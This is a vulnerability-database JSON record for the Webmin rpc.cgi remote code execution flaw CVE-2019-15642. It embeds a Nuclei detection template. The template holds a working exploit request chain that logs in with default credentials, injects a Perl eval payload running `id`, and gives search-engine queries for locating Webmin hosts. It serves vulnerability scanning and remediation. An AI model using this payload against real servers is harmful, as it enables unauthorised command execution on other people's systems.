{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-15642/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-15642/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-15642/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-15642/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-15642/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-15642"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-15642"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-15642.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2019-15642\n\ninfo:\n  name: Webmin < 1.920 - Authenticated Remote Code Execution\n  author: pussycat0x\n  severity: high\n  description: |\n    rpc.cgi in Webmin through 1.920 allows authenticated Remote Code Execution via a crafted object name because unserialise_variable makes an eval call. NOTE: the Webmin_Servers_Index documentation states \"RPC can be used to run any command or modify any file on a server, which is why access to it must not be granted to un-trusted Webmin users.\"\n  impact: |\n    Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.\n  remediation: |\n    Upgrade Webmin to version 1.920 or later to mitigate this vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-15642\n    - https://github.com/jas502n/CVE-2019-15642\n    - https://doxfer.webmin.com/Webmin/Webmin_Servers_Index\n    - https://github.com/webmin/webmin/blob/ab5e00e41ea1ecc1e24b8f8693f3495a0abb1aed/rpc.cgi#L26-L37\n    - https://github.com/webmin/webmin/commit/df8a43fb4bdc9c858874f72773bcba597ae9432c\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2019-15642\n    cwe-id: CWE-94\n    epss-score: 0.34798\n    epss-percentile: 0.98359\n    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: webmin\n    product: webmin\n    shodan-query:\n      - title:\"Webmin\"\n      - http.title:\"webmin\"\n    fofa-query: title=\"webmin\"\n    google-query: intitle:\"webmin\"\n  tags: cve,cve2019,webmin,rce,vkev,vuln\nvariables:\n  cmd: '`id`'\n\nhttp:\n  - raw:\n      - |\n        POST /session_login.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: redirect=1; testing=1\n        Origin: {{RootURL}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n        Accept-Encoding: gzip, deflate\n\n        user={{username}}&pass={{password}}\n      - |\n        POST /rpc.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        Referer: {{RootURL}}/sysinfo.cgi?xnavigation=1\n        Accept-Encoding: gzip, deflate\n\n        OBJECT Socket;print \"Content-Type: text/plain\\n\\n\";$cmd={{cmd}};print \"$cmd\\n\\n\";\n\n    attack: pitchfork\n    payloads:\n      username:\n        - admin\n        - root\n      password:\n        - admin\n        - root\n    stop-at-first-match: true\n    host-redirects: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body_2\n        regex:\n          - 'uid=(\\d+)\\(.*?\\) gid=(\\d+)\\(.*?\\) groups=(\\d+)\\(.*?\\)'\n\n      - type: word\n        part: body_2\n        words:\n          - \"Content-type: text/plain\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ac928f8f605b707b202ac503b8121cf1ffd8b2193a19d9ce1d4d488cfb819e4302204b74e1dbee71ef710658d84f23551b6d0f9cbb456cfe32535dce54a49c342b7d:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-15642"
}